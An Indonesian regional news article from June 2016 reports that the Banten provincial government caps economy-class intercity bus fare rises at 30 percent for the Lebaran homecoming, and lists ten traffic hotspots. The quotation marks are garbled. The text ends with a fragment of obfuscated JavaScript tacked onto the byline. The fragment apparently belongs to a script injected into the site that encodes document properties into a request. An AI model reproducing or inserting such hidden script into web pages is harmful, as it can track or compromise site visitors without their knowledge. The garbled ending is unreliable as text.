Serang a�� Pemerintah Provinsi Banten meminta para pengusaha angkutan umum antar kota dalam provinsi (AKDP) untuk tidak menikan tarif angkutan sembarangan pada saat arus mudik lebaran Idul Fitri 1437 Hijriyah nanti. Pemprov Banten telah menetapkan batas kenaikan tarif angkutan umum sebesar 30 persen dari tarif yang berlaku saat ini.

a�?Artinya, pengusaha angkutan di Banten hanya boleh menaikan tarif saat mudik Lebaran maksimal 30 persen,a�? ujar Kepala Bidang Pengendalian Operasi dan Manajemen Rekayasa Lalu Lintas, Dinas Perhubungan Komunikasi dan Informasi (Dishubkominfo) Provinsi Banten Sucipto, Juma��at, 17 Juni 2016.

Sucipto menjelaskan, kebijakan tersebut sudah tertuang dalam Peraturan Gubernur Banten Nomor 6 tahun 2015 tentang tarif jarak batas atas dan tarif jarak batas bawah kendaraan bus umum angkutan penumpang antar kota dalam provinsi kelas ekonomi di wilayah Provinsi Banten.

Menurut Sucipto, yang diatur oleh Pemprov Banten pada tarif atas dan tarif bawah adalah tarif ekonomi, sedangkan tarif non ekonomi dapat disesuaikan pengelola angkutan. a�?Ini berlaku untuk kelas ekonomi, dan hanya AKDP. Untuk tarif angkutan antar kota antar provinsi (AKAP), itu ditetapakn oleh Dirjen Perhubungan Darat Kementerian Perhubungan,a�? katanya.

Sucipto meminta masyarakat untuk ikut mengawasi pelaksanaan pertaruran tersebut dilapangan. a�?Kalau ada yang melanggar, laporkan. Jika terbukti Dishub tidak segan-segan mencabut izin trayek angkutan umum tersebut,a�? tegasnya.

Sementara itu, Kepala Bidang Hubungan Darah (Kabid Hubdar) Dishubkominfo Banten, Abadi Wuryanto mengatakan, untuk menghadapai arus mudik, pihaknya telah menyiapkan 90 orang pernil yang akan ditugaskan disejumlah titik rawan kemacetan. a�?Ada 10 titik diantaranya, simpang asem Cikande, kawasan industri Nikomas, simpang Sentuk Kragilan, kawasan PT Indah Kiat Cikande, exit tol Kragilan, simpang Ciruas, pasar Kalondran, exit tol Serang Timur, dan simpang Kramatwatu,a�? katanya. (Mat/Acing) ]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}